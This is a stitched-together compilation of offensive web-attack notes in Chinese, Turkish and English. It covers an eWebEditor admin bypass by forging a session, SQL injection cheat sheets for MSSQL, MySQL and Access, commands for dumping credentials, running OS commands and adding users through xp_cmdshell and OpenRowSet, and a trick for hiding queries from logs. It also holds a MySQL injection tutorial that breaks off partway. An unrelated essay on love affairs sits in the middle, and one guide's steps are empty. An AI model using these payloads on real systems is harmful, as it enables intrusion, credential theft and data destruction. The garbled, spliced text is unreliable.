eWebEditor在线编辑器
漏洞文件:Admin_Private.asp
漏洞语句:<%

If Session("eWebEditor_User") = "" Then
Response.Redirect "admin_login.asp"
Response.End
End If

只判断了session，没有判断cookies和路径的验证问题。
漏洞利用:
新建一个h4x0r.asp内容如下:
<%Session("eWebEditor_User") = "11111111"%>
访问h4x0r.asp，再访问后台任何文件，for example:Admin_Default.asp

针对虚拟主机还是比较有用的

Ön Bilgi

Bir çok teknik sadece SQL Server’ da çal??acakt?r.

Referans

1. “--“ SQL Cümleci?ini sonland?r?r (bu sayede arkadan gelen cümlecik handle edilmek zorunda kalmaz)
2. “;” ?kinci SQL cümleci?inin çal??mas?na izin verir

Login Screen

1. Login olabilme
   • admin’ –
   • ‘ or 1=1—
   • ...
2. Farkl? bir kullan?c? olarka login olma
   • ‘ union select 1, ‘diger_user’, ‘birseyler_sifre’, 1--

Hatalardan ?lerleme (yap?y? olu?turma I)

S?ras?yla..

1. ‘ having 1=1 –
2. ‘ group by hatadangelen.id having 1=1—
3. ‘ group by hatadangelen.id, gelenikinci.id, üçüncü.id having 1=1—(böyle gider)
4. Hata almay? bitirince tablo bitti demektir.
5. Ek olarak order by ile de union da kaç kolon çekildi?i bulunabilir.
   • ORDER BY 1—
   • ORDER BY 2—

c. … bu ?ekilde ilerlenir. Hata verdi?i yer – 1 çekilen kolon say?s?n? gösterir.

Data Tiplerini Bulma (yap?y? olu?turma II)

1. Always use UNION with ALL because of image similiar non-distinct field types. By default union tries to get records with distinct.
2. ‘ union select sum(tipibulunacakalan) from users—
   Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
   [Microsoft][ODBC SQL Server Driver][SQL Server]The sum or average aggregate operation cannot take a varchar data type as an argument.
   
3. Hata kodu bize verdi?imiz alanin varchar oldu?unu söyledi.
4. E?er hata kodu union i?lemi ile ilgiliyse yada hata gelmiyorsa verdi?imiz alan numeric demektir.
5. Union i?lemlerde NULL kullan?labilir date, integer, string in 3 tipinde de bu geçerli sonuç verecektir.
   • 11223344) UNION SELECT NULL,NULL,NULL,NULL WHERE 1=2 –-
     No Error - Syntax is right. MS SQL Server Used. Proceeding.
   • 11223344) UNION SELECT 1,NULL,NULL,NULL WHERE 1=2 –-
     No Error – First column is an integer.
   • 11223344) UNION SELECT 1,2,NULL,NULL WHERE 1=2 –-
     Error! – Second column is not an integer.
   • 11223344) UNION SELECT 1,’2’,NULL,NULL WHERE 1=2 –-
     No Error – Second column is a string.
   • 11223344) UNION SELECT 1,’2’,3,NULL WHERE 1=2 –-
     Error! – Third column is not an integer. ...
6. Convert ve Errorlar ile field tipi bulma - convert(image,1)
   • SELECT * FROM Table1 WHERE id = -1 UNION ALL SELECT null, null, NULL, NULL, convert(image,1), null, null,NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULl, NULL—
   • Microsoft OLE DB Provider for SQL Server error '80040e07'
     Explicit conversion from data type int to image is not allowed.
   • You’ll get convert() errors before union target errors ! So start with convert() then union

Data Ekleme

• '; insert into users values( 666, 'attacker', 'foobar', 0xffff )—

Sistem Hakk?nda Bilgi Toplama

Data convert i?lemlerinde SQL Server detayl? hata mesajlar? döndürür;

• ' union select @@version,1,1,1--
  SQL Server versiyonunu döndürecektir. ( Numerik alan ile union edilmeye çal???lmal? ! )

Data Alma

1. ' union select min(username),1,1,1 from users where username > 'admin'--
   Users tablosundaki username’ e integerlara uygulanan min() denedi?inden ve string i de çekmi? oldu?undan hata mesaj? olarak çekilmi? olan username gelecektir.
2. ' union select password,1,1,1 from users where username = 'admin'—
   Bir önceki i?lemde buldu?u username i direk union ile getiriyor
3. ‘ Union All Select 1,1,1,1 FROM SysObjects WHERE ‘=’
4. User defined Tables
   SELECT name FROM sysobjects WHERE xtype = ‘U’
5. Field Getirme
   SELECT name FROM syscolumns WHERE id =(SELECT id FROM sysobjects WHERE name = ‘ORDERS’)
6. Record ilerletme
   WHERE users NOT IN (‘First User’, ‘Second User’)
7. Record ilerletme 2
   Select p.name from (SELECT (SELECT COUNT(i.id) AS rid FROM sysobjects i WHERE xtype='U' and i.id<=o.id) AS x, name from sysobjects o WHERE o.xtype = 'U') as p where p.x=21

Advanced Yöntemler

T-SQL ile bir tablodaki tüm datay? tek string haline getirip yeni bir temp tabloya insert etmek ve daha sonradan onu almak.

set @ret=':'
select @ret=@ret+' '+username+'/'+password from users where username>@ret
select @ret as ret into foo
end

The attacker 'logs in' with this 'username' (all on one line, obviously…)

1. Username: '; begin declare @ret varchar(8000) set @ret=':' select @ret=@ret+' '+username+'/'+password from users where username>@ret select @ret as ret into foo end—
2. ' union select ret,1,1,1 from foo--
   convert hatas? alaca??ndan dolay? direk az önce insert edilen stringleri getirir.
   
3. Teoriye göre e?er SQL Server Local System Account’ ? ile çal???yorsa regread ile SAM account’ u okunabilir. Default! (xp_regread)
4. Linked serverlarda query çal??t?r?labilir (openquery)
5. Custom Stored Procedure’ ler ile SQL Server Process’ i içerisinden exploit yaz?l?p çal??t?rabilir. (sp_addextendedproc)
6. Bulk Insert ile serverdaki herhangi bir dosya okunabilir
   • create table foo( line varchar(8000) )
   • bulk insert foo from 'c:\inetpub\wwwroot\process_login.asp'
   • ?imdi data bu yeni tablodan okunabilir, sonrada tablo drop edilebilir
7. Text dosyas? yazma (BCP – Login bilgisi gerekli)
   bcp "SELECT * FROM test..foo" queryout c:\inetpub\wwwroot\runcommand.asp -c -Slocalhost -Usa -Pfoobar
8. “sa” olarak login olduk mu?
   if (select user) = 'sa' waitfor delay '0:0:5'
9. ActiveX deste?inden dolay? scripting kullan?labilir (VBS, WSH)
   wscript.shell example
   declare @o int
   exec sp_oacreate 'wscript.shell', @o out
   exec sp_oamethod @o, 'run', NULL, 'notepad.exe'
   Username: '; declare @o int exec sp_oacreate 'wscript.shell', @o out exec sp_oamethod @o, 'run', NULL, 'notepad.exe' --
   
10. SQL Server’? konu?turma (maymunluk olsun diye yap?labilir)
11. T?rnak Kullanmadan SQL Yazmak
    insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)
    veya sadece numerik de?erler ile data girilebilir
    
    insert into users values( 667, 123, 123, 0xffff)
    SQL Server integerlar? otomatik olarak varchar a çeviriyor.
12. Xx.asp?p=xx’; EXEC master.dbo.xp_cmdshell ‘cmd.exe dir c:’

Özel Tablolar

1. Hata Mesajlar?
   select * from master..sysmessages
2. Linked Serverlar (openquery fonskiyonunu login olmadan kullanilabilir eger ki sp_addlinkedsrvlogin kullan?ld?ysa)
   master..sysservers
3. ?ifreler, Loginler
   master..sysxlogins

Tablo / Server Modifikasyon

• Tablo Silme
  '; drop table foo--

Functions

1. SQL Server’ ? kapa (shutdown)
   ‘; shutdown—
2. Bekleme (waitfor delay)
   Bir ?eyin pasif/gizli olarak çal???p çal??mad???n? anlamak için
   waitfor delay '0:0:10'—
   kullan?m? çok verimlidir. Belirtilen süre kadar bekler. Bu sayede çe?itli kontroller yap?labilir yada basitçe harmless bir ?ekilde eklenen SQL cümleciklerinin gerçekten çal???p çal??mad??? kontrol edilebilir.

Atak Gizleme

SQL Server sp_password içeren SQL Querylerini güvenlik nediyle loglam?yor. Bu durumda her çal??t?r?lan komut ard?ndan ‘–sp_password demek onun gizlenmesi için yeterli. Bu sayede bir log olu?sa da içeri?i olu?muyor.

SQL Injection Tespiti

Normalde SQL Injection basit ?ekilde tek t?rnak (‘) vs. Koyarak ç?kan hataya göre tespti edilebilir. Ancak baz? uygulamalar? hatalar? gizleyebilir, yada siz arkadaki yada hata oldu?unda direk varsay?landan devam etme gibi özelliklere sahip olabilir. Bunun yan?nda bir di?er kritik sorunsa bir sistemde ne kadar çok hata verdirtirseniz bir analizde o kadar çok takip edilebilirsiniz.

Ek olarak software based server da çal??an web firewall lar? genelde pattern olarak (Snort gibi IDS lerde bu ?ekilde) status code lar?nda “500” veya benzer hata kodlar?n? eklerler genelde bir çok “200“ status kodu dertsiz olarak bu filtreleri geçebilir. Daha sonradan olay?n trace noktas?nda da bu bir kolayl?kt?r.

Bu noktada daha önceden bahsi geçen “waitfor delay” kullan??l? bir fonksiyondur. Ek olarak daha da pratik mant?k SQL ün ayn? i?i yapmas?n? sa?layan queryler olu?turmakt?r, ama tabii ki t?rnak yada SQL de çal??acak fonksiyonlar kullanarak.

1. product.asp?id=4
   • product.asp?id=5-1
   • product.asp?id=4 OR 1=1
2. product.asp?name=Book
   • product.asp?name=Bo’+’ok
   • product.asp?name=Bo’ || ’ok (ORACLE)
   • product.asp?name=Book’ OR ‘x’=’x

Stored Procedures

1. Cmd Execute (xp_cmdshell)
   exec master..xp_cmdshell 'dir'
2. Registry ??lemleri (xp_regread)
   Registry’ e yazma okuma vs. ??lemleri.
   • xp_regaddmultistring
   • xp_regdeletekey
   • xp_regdeletevalue
   • xp_regenumkeys
   • xp_regenumvalues
   • xp_regread
   • xp_regremovemultistring
   • xp_regwrite
     exec xp_regread HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\lanmanserver\parameters', 'nullsessionshares'
     exec xp_regenumvalues HKEY_LOCAL_MACHINE, 'SYSTEM\CurrentControlSet\Services\snmp\parameters\validcommunities'
3. Servisleri Kontrol Etmek (xp_servicecontrol)
4. Sistemdeki Medyalar? Görme (xp_availablemedia)
5. Directory Tree sini alma (xp_dirtree)
6. ODBC Resourcelar? Listeleme (xp_enumdsn)
7. Login modeunu bulma (xp_loginconfig)
8. Cab Ar?iv Olu?turma (xp_makecab)
9. Domainleri Bulma (xp_ntsec_enumdomains)
10. PID ile process terminate etme (xp_terminate_process)
11. Yeni Strored Procedure Ekleme (istenilen kod SQL Server process içerisinde çal??t?r?labilir)
    sp_addextendedproc ‘xp_webserver’, ‘c:\temp\x.dll’
    exec xp_webserver
12. Stored Procedure Silme (sp_dropextendedproc)
13. D??ar?ya UNC dahil dosya yazma (sp_makewebtask)

Other

• OleDB driver ile çal??t?r?lan SQL’ lerde union vs. Ler çal??mayabilir
• Execute() ile çal??t?r?lanlar sa?lamd?r

MySQL Injection

• After MySQL 4.0 you can “Union” queries
• For SQL comments use /*mysql comment*/
• Unions are just like SQL Server unions same fields, same types required
• @@version is available, you can use it in unions
• You can hex-encoded strings
  • select 'c:/boot.ini'
  • or
  • select 0x633a2f626f6f742e696e69
• MySQL can load DLL and run arbitary code
• Subqueries version 4.1+
• MySQL Passwords
  • In versions prior to 4.1, the password hash can be used to
    authenticate directly with the database. Just recompile MySQL Client to login with hash.
  • Other versions use SHA1
  • SELECT User,Password FROM mysql.user;
  • SELECT 1,1 UNION SELECT IF(SUBSTRING(Password,1,1)='2',BENCHMARK(100000,SHA1(1)),0) User,Password FROM mysql.user WHERE User = ‘root’;

MySQL (Custom) Functions & UDF

• substring
  • query.php?user=1+union+select+substring(load_file(0x633a2f626f6f742e696e69),60),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
• SELECT ... INTO DUMPFILE
  • Write query into a new file (can not modify existing file)
• UDF Function
  • create function LockWorkStation returns integer soname 'user32';
  • select LockWorkStation();
  • create function ExitProcess returns integer soname 'kernel32';
  • select exitprocess();
• SELECT USER();
• SELECT password,USER() FROM mysql.user;
• First byte of admin hash
  • SELECT SUBSTRING(user_password,1,1) FROM mb_users WHERE user_group = 1;

MySQL Samples

  UPDATE user
  SET Password=PASSWORD('crack')
  WHERE user='root';
  FLUSH PRIVILEGES;

MySQL Load_File

• With unions you can read a file
• query.php?user=1+union+select+load_file(0x633a2f626f6f742e696e69),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1

MySQL Load Data Infile

• By default it’s not avaliable !
  • create table foo( line blob );
    load data infile 'c:/boot.ini' into table foo;
    select * from foo;

Timing & Blind MySQL Injection

• select benchmark( 500000, sha1( 'test' ) );
• query.php?user=1+union+select+benchmark(500000,sha1 (0x414141)),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
• select if( user() like 'root@%', benchmark(100000,sha1('test')), 'false' );
• Enumeration data, Guessed Brute Force
  • select if( (ascii(substring(user(),1,1)) >> 7) & 1, benchmark(100000,sha1('test')), 'false' );

Stored Procedure Injection

1. E?er SQL bir ?ekilde ASP ile unsafe parametrelerle olu?turulup gönderiliyorsa bu güvenli de?ildir. Stored Procedure olsa bile.
2. E?er parametrelerde ADO Command gibi bir ?eyler ile gönderiliyorsa ve do?ru implemente edildiyse güvenlidir.
   sp_who '1' select * from sysobjects
   or
   sp_who '1'; select * from sysobjects

Second Order SQL Injection

Zor bir metod, temel olarak arda arda birbirinin datas?n?n kullanan SQL’ lerde kullan?labilir. Temel bo?luk bu tip yerlerde ikinci SQL birinci SQL den datay? ald???ndan ona gözü kapal? güvenmesidir yani gelen data kullan?c?dan de?il de aplikasyondan geldi?inden tekrar kontrol edilmez genelde.

1. Bir sistemde yeni kullan?c? ?u ?ekilde olu?turulur;
   Username: admin'--
   Password: password
2. Bu ?u Insert’ i çal??t?r?r;
   insert into users values( 123, 'admin''--', 'password', 0xffff )
3. ?ifre de?i?tirme ekran?ndaki durum ?u ?ekilde olacakt?r;
   Kontrol;
   var sql = "select * from users where username = '" + username + "' and password = '" + oldpassword + "'";
4. ?ifre Update i?lemi;
   sql = "update users set password = '" + newpassword + "' where username = '" + rso("username") + "'"
   Bu ad?mda bir önceki SQL dönen username direk kulland???nda filtreden geçemeyece?inden direk olarak ?u SQL çal??m?? olacakt?r;
   update users set password = 'password' where username = 'admin'--'
   Bu da admin ?ifresinin istenilen ?ifreye de?i?tirecektir.

Second Order Insert SQL Injection

Form dolurulurken ?u ?ekilde doldurulur;

Name : ‘ + (SELECT TOP 1 password FROM users ) + ’

注:转载就注入出自'孤孤浪子博客'原创

http://itpro.blog.163.com

各位拿站的朋友。是不是感觉到现在mssql2000一部分都升级到mssql2005了，目前网络上大多数log备份和差异备份都针对sql2000的数据库而开发的。那么碰到2005的数据库怎么办呢。不用急，请按照以下方式继续可以拿到webshell。by:孤狐浪子 qq:393214425

第一步

第三步
)--

第五步
)--

第七步
]--

第九步

书上见过一句话：在所有的婚外恋当中，男人偷情，目的为性，女人偷情性情交融。偷情对于男人来说，偷的就是偷的，偷到以后便不觉得那么珍惜了。而女人则往往错位，她们往往希望拥有偷的东西。

一个男人如果对一个女人产生了特别的情感，那么他刚开始的时候，接受的是你的上半身但日子久了，处心积虑想到的是如何得到身体。而女人呢，她最开始的感情也是从上半身开始的，她付出的纯粹是自己最真挚的东西。

男人得到女人后，会觉得累，那是因为男人得手后爱情开始变冷，而女人的爱情感觉则刚刚开始。

男人想得是如何结束情缘，女人则想得如何天长地久。把性与情分开，对男人是一种人性的浪漫，而对女人则是一种人性的折磨。

如果一个女人渴望用自己的下半身去挽留一段逝去的爱情，那么她未免太高估这个男人对她的迷恋。男人可以长久的倾慕一个女人，因为他对女人上半身的渴望超过了下半身。在这个疯狂的年代里，毕竟是少数。男人的猎取的本性是改变不了的。

所以聪明女人用身体思考，平庸女人用脸蛋思考，最笨的女人用下半身思考。

有人说人的一生要爱过三个人才算是真正的记住了爱情。既然如此，就不必用超出的那份痛苦去缅怀。留着你剩下的精力和时间，耐心的等待那即将出现的两个，也许那才是最完美的爱情！但不管是怎样的故事，请千万记住：爱情，从上半身开始！

有性的浪漫才让女人刻骨铭心、迷失自己。女人沦为了爱的俘虏，任何人也改变不了为奴隶的命运。为了情，女人甘愿当牛做马。女人都希望男人对他们好，但好的的标准则是情与性的统一。

聪明的女人因为太聪明，所以不把男人放在心上，她们便寂寞，痴心的女人伤痛后才知满心的伤痕无一处值得眩耀。

女人没有爱情时会嫌自己被浪费，怕错过了人生恋爱的好时光，被男人用旧才懂得爱情不过是春梦一场，那个让她死去活来的人不过是个再俗不过的人，于是后悔，于是就恨。

女人用真心去爱，换来总是伤害，像男人那样以采花摘草的心情去爱，又做不到。男人往往有了新的目标以后，遗弃老情人，这对他们来说，是很随意的事情。

男人始终自私，他会选择对自己最有利的选择。也许他曾经爱过，但那是过去的事。谁会为了百分百的爱而放弃千分之千的新恋情呢？但是对于痴情的女人来说，这很可能是最残忍的事情。痴情是女人的大敌。女人总是被动的，被引诱的女人一旦为情人抛弃或全部的理想在一夜之间化成泡影之后，就会深深地陷入一种绝望，滋生出的变态的报复心理。

有些傻女人，用自己的生命去留住他；有些女人天真的用身体去留住他，结果这两种女人都失败了。男人接纳一个女人的开始是因为他爱你的上半身，他喜欢的是你的性格你的智慧你的学识你带给他的不同的感受，但是当他对你没有了旧日的情感，他用上半身说分手，而对下半身的渴望已经淡漠。

现在我们在脚本注入攻击的技术中,常用的手法分好多种,最普通的是利用子查询或者是Union联合查询来取得一些特殊表中的内容,比如Admin,Log表等等,这是一种纯粹的对数据库的攻击方式,而MSSQL Server的方法则更为多样和复杂,
当我们取得连接权限较高的注入点的时候,我们可以利用MSSQL Server本身所带的扩展来执行命令，或者是获取目录,读取文件与修改注册表;在低权用户的连接中，我们则可以试用差异备份,
或者干脆就是跑数据库等方式来实现对系统的直接攻击或者是间接的攻击.再则则是类似于Oracle\MySQL\DB2这些非MS直接支持的数据库关于他们,我们也有多种多样的攻击手法,执行命令,导出文件或读取文件等.
以上是一些我们针对常用数据库的攻击方式的大体总结,不难看出，其中最鸡肋的,要算是Access的数据库了.一来在Access中,无法直接获取数据库中的表名和字段名称,二来在Access中,我们能做的东西非常少,
再说也不支持多语句的SQL语法,和T-SQL的标准又有不少的区别,让人觉得Access数据库中仅有的Insert,Update,Select,Delte,Produce仅仅是对SQL语句的封装而已.所以,我们依旧需要对Access进行研究.
在这篇研究笔记中,我所参考的文章和资料,有部分来自nsfocus和xFocus早在2000-2002年的文档,另一篇则是SuperHei所发表的<关于Access的一些测试>,
大家可以在http://www.4ngel.net/安全天使安全小组的网站上查询到.OK,废话不要太多,我们继续研究.
我们可以去翻看微软在刚推出Windows 2000的时候曾经出现过几个非常大的脚本漏洞的漏洞公告，其中比如cateloy_type.asp的远程注入漏洞和Msadscs.dll漏洞等都涉及了与现在的攻击手法或者是常用的利用方法极为不同的地方,
比如Catelog_type.asp的注入漏洞,它的代码中出现的问题是这样的:
"select * from cateloy where type='" & Requset("Type") & "'"
谁都能看明白这是一个非常低级的注入漏洞,直接将Type的值放入SQL语句中查询,并没有估计到用户的恶意输入.
如果换作现在,我们基本上只有拿来跑表份,幸好MS没设置类似PHP的gpc,否则我们将一事无成.但是我们可以查看这篇漏洞资料的利用方式,其中涉及到了一个SQL语句:
Select * from Sometable where somefield='|Select Shell("cmd.exe /c dir")|'
关于这个语句的介绍,是漏洞资料中所说的,Access允许用"|"来创建VBA函数,导致命令被执行,其实这只是Access内置的一个特殊函数而已,相类似的还有cudir和Command函数.具体的我们可以在Access中测试.测试的SQL语句如下:
Select Shell("cmd.exe /c dir c:\ > c:\kevin.txt")
回到C盘,我们果然看到了kevin.txt.说明语句执行成功了.
然后我们将其转到脚本中测试吧.编写如下的VBS脚本
Set Conn=Createobject("Adodb.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=kevins4t.mdb"
Set Rs=Conn.execute("Select Shell(""cmd.exe /c dir c:\ > c:\kevin.txt"")")
Msgbox Rs(0)
这一此出现的结果很出乎我们的意料,错误的原因是"表达式中的'Shell'函数未定义".现在我们需要安静下来喝杯咖啡然后思考为什么同样的语句在不同的执行者间会出现如此截然不同的问题.一个能正常执行,
而另外一个则是找不到函数.试想微软一定在其中的什么地方设置了一个开关,那么我们就去微软的知识库去了解一下.
在微软的一篇关于沙盒模式的文档中,我们了解到一些内容:
为了安全起见,MS在Jet引擎的Sp8中,设置了一个名为SandBoxMode的开关,这个开关是开启一些特殊函数在另外的执行者中执行的权限的.它的注册表位置在
HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode里,默认是2.微软关于这个键值的介绍为:0为在任何所有者中中都禁止起用安全设置,1为仅在允许的范围之内,
2则是必须是Access的模式下(这就是为什么我们能在Access中执行成功的原因.),3则是完全开启,连Access中也不支持.
那么好吧,我们来看看如果将值变为0将会怎样.
这次运行我们的VBS的时候,出现的情况是一组数字,再在C盘下查看文件,果然看到了我们的kevin.txt.很神奇吧.原来Access也是可以执行命令的,只是微软这家伙总是懒得说出来而已.但是如果在实际方面会怎样呢?
一.后门的设置
我们的运用将会很窄.真的,一来我们需要的权限很高,起码要到能改注册表的权限,默认是Admin和LocalSystem,二来是我们将如何修改注册表，远程吗?没门的.所以我们只好将其当作一个后门用.
只要我们修改了注册表的值,那么在普通的注入语句中,这是一个很不错的后门方式,最起码可以在外部执行一些小小的命令什么的.
比如我们在渗透某个站点的时候拿到了最高权限,并且修改了这个SandBoxMode,之后我们被管理员扫地出门了.那么,在首页的某个地方依旧存在这一个Select的注入点,这样最好,我们让服务器执行如下的SQL就行了.
InjectionURL' and 0<>(select shell("cmd.exe /c net user > c:\inetpub\wwwroot\kevins4t.txt"))%00
这样我们就可以一步一步的将重新服务器拿下.
二.远程攻击
这将是一个很有意思的话题.首先我们必须有修改注册表的权限,二是有修改注册表的条件,三是可以执行SandboxMode的环境,必须三样同时满足才行,到底是在什么情况下呢?
我们知道,我们平时在杂志上看到的文章,很多的无非就是在一个以Sa连接的InjectionURL中苦苦挣扎,一是执行命令,如果去掉了扩展或者是将扩展需要的DLL移走,我们将一无所用.那么聪明的你是否想到了方法?
我们知道,只有Sa的权限才有可能去打开另外一个Access的连接的,当我们满足了打开Access的条件的同时,我们也满足了修改注册表的条件和权限,因为MSSQL有一个名为xp_regwrite的扩展,它的作用是修改注册表的值.语法如下
exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value
那我们只要将SandBoxMode修改为0或者1就成功了.然后则是MSSQL的OpenRowSet函数,它用于打开一个特殊的数据库或者连接到另一个数据库之中.当我们具备SysAdmin的权限的时候,我们就可以做到打开Jet引擎.那么我们只要连接到一个Access数据库中,
然后执行命令就可以了.但是关键的问题是如何寻找这个Access数据库.
关于这个问题我以前想了很多,一开始是想,利用目录便历来查询数据库的位置.但是这种方法成功率不会很高,有的时候我们碰到很多的站点都设置了非常好的权限,无法找到MDB数据库.这是最为烦恼的地方.
不过后来我想到了一些前人用过的方式,系统里本来就有2-3个现存的数据库嘛,何必费神的去找呢?它们的位置在%windir%\system32\ias\ias.mdb或者%windir%\system32\ias\dnary.mdb这样一来,我们有了执行宿主,就没什么好怕的了.执行一下我们所需要的命令吧
InjectionURL';Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\winnt\system32\ias\ias.mdb','select shell("net user kevin 1986 /ad")');--
这样,我们就执行了命令了.而且继承的是MSSQL的LocalService的System权限.

--------------------------------------------------------------------------------------------------------------------------------------------------------

用户表
SELECT Name FROM msysobjects WHERE Type = 1 and flags=0
所有表
SELECT Name FROM msysobjects WHERE Type = 1

判断版本：
SELECT NULL FROM MSysModules2  '97
SELECT NULL FROM MSysAccessObjects '97 2000
SELECT NULL FROM MSysAccessXML '2000 2002-2003
SELECT NULL FROM MSysAccessStorage '2002-2003 2007

SandBoxMode:
SandBoxMode的开关,这个开关是开启一些特殊函数在另外的执行者中执行的权限的.它的注册表位置在
HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode里,默认是2.
微软关于这个键值的介绍为:0为在任何所有者中中都禁止起用安全设置,1为仅在允许的范围之内,
2则是必须是Access的模式下(这就是为什么我们能在Access中执行成功的原因.),3则是完全开启,连Access中也不支持.

执行命令：
Select Shell("cmd.exe /c dir c:\ > c:\kevin.txt")

读文件
SELECT *  FROM [TEXT;DATABASE=c:\;HDR=NO;FMT=Delimited].[kevin.txt]

写文件：【不能在子查询和UNION查询中，实用价值不大】
SELECT "text to write"  into [TEXT;DATABASE=c:\;HDR=NO;FMT=Delimited].[kevin1.txt]

当前路径：sandboxing enable
select curdir() from msysaccessobjects
select dir('c:\ ') from msysaccessobjects
select environ(1) from msysaccessobjects
select filedatetime('c:\boot.ini') from msysaccessobjects
select filelen('c:\boot.ini') from msysaccessobjects
select getattr('c:\ ') from msysaccessobjects
select shell('cmd.exe /c dir c:\ > c:\kevin.txt') from msysaccessobjects

跨文件查询：
SELECT *  FROM dv_address IN 'D:\dailian\bbs\Dvbbs8.2.0_Ac\Data\IPaddress.mdb'

连接MSSQL:
SELECT * FROM [ODBC;DRIVER=SQL SERVER;Server=(local);UID=sa;PWD=2853wang; DATABASE=master].Information_Schema.Tables

参考资料：
http://www.tr4c3.com/SecDocs/ACCESS%20THROUGH%20ACCESS.pdf

SQL Injection Tutorial by Marezzi (MySQL)

In this tutorail i will describe how sql injection works and how to
use it to get some useful information.

First of all: What is SQL injection?

It's one of the most common vulnerability in web applications today.
It allows attacker to execute database query in url and gain access
to some confidential information etc...(in shortly).

1.SQL Injection (classic or error based or whatever you call it)  :D

2.Blind SQL Injection (the harder part)

So let's start with some action :D

1). Check for vulnerability

Let's say that we have some site like this

http://www.site.com/news.php?id=5

Now to test if is vulrnable we add to the end of url ' (quote),

and that would be http://www.site.com/news.php?id=5'

so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar

that means is vulrnable to sql injection :)

2). Find the number of columns

To find number of columns we use statement ORDER BY (tells database how to order the result)

so how to use it? Well just incrementing the number until we get an error.

http://www.site.com/news.php?id=5 order by 1/* <-- no error

http://www.site.com/news.php?id=5 order by 2/* <-- no error

http://www.site.com/news.php?id=5 order by 3/* <-- no error

http://www.site.com/news.php?id=5 order by 4/* <-- error  (we get message like this Unknown column '4' in 'order clause' or something like that)

that means that the it has 3 columns, cause we got an error on 4.

3). Check for UNION function

With union we can select more data in one sql statement.

so we have

http://www.site.com/news.php?id=5 union all select 1,2,3/*  (we already found that number of columns are 3 in section 2). )

if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :)

4). Check for MySQL version

http://www.site.com/news.php?id=5 union all select 1,2,3/*  NOTE: if /* not working or you get some error, then try --
                                  it's a comment and it's important for our query to work properly.

let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.

it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*

if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."

i didn't see any paper covering this problem, so i must write it :)

what we need is convert() function

i.e.

http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*

or with hex() and unhex()

i.e.

http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*

and you will get MySQL version :D

5). Getting table and column name

well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.

common table names are: user/s, admin/s, member/s ...

common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...

i.e would be

http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good :D)

we know that table admin exists...

now to check column names.

http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)

we get username displayed on screen, example would be admin, or superadmin etc...

now to check if column password exists

http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)

we seen password on the screen in hash or plain-text, it depends of how the database is set up :)

i.e md5 hash, mysql hash, sha1...

now we must complete query to look nice :)

for that we can use concat() function (it joins strings)

i.e

http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*

Note that i put 0x3a, its hex value for :  (so 0x3a is hex value for colon)

(there is another way for that, char(58), ascii value for : )

http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*

now we get dislayed username:password on screen, i.e admin:admin or admin:somehash

when you have this, you can login like admin or some superuser :D

if can't guess the right table name, you can always try mysql.user (default)

it has user i password columns, so example would be

http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*

That's all in this part, now we can proceed on harder part :)

2. Blind SQL Injection

Blind injection is a little more complicated the classic injection but it can be done :D

I must mention, there is very good blind sql injection tutorial by xprog, so it's not bad to read it :D

Let's start with advanced stuff.

I will be using our example

http://www.site.com/news.php?id=5

when we execute this, we see some page and articles on that page, pictures etc...

then when we want to test it for blind sql injection attack

http://www.site.com/news.php?id=5 and 1=1  <--- this is always true

and the page loads normally, that's ok.

now the real test

http://www.site.com/news.php?id=5 and 1=2 <--- this is false

so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.

1) Get the MySQL version

to get the version in blind attack we use substring

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4

this should return TRUE if the version of MySQL is 4.

replace 4 with 5, and if query return TRUE then the version is 5.

i.e

http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5

2) Test if subselect works

when select don't work then we use subselect

i.e

http://www.site.com/news.php?id=5 and (select 1)=1

if page loads normally then subselects work.

then we gonna see if we have access to mysql.user

i.e

http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1

if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.

3). Check table and column names

This is part when guessing is the best friend :)

i.e.

http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1  (with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)

then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one :)

let's say that we have found that table name is users, now what we need is column name.

the same as table name, we start guessing. Like i said before try the common names for columns.

i.e

http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1

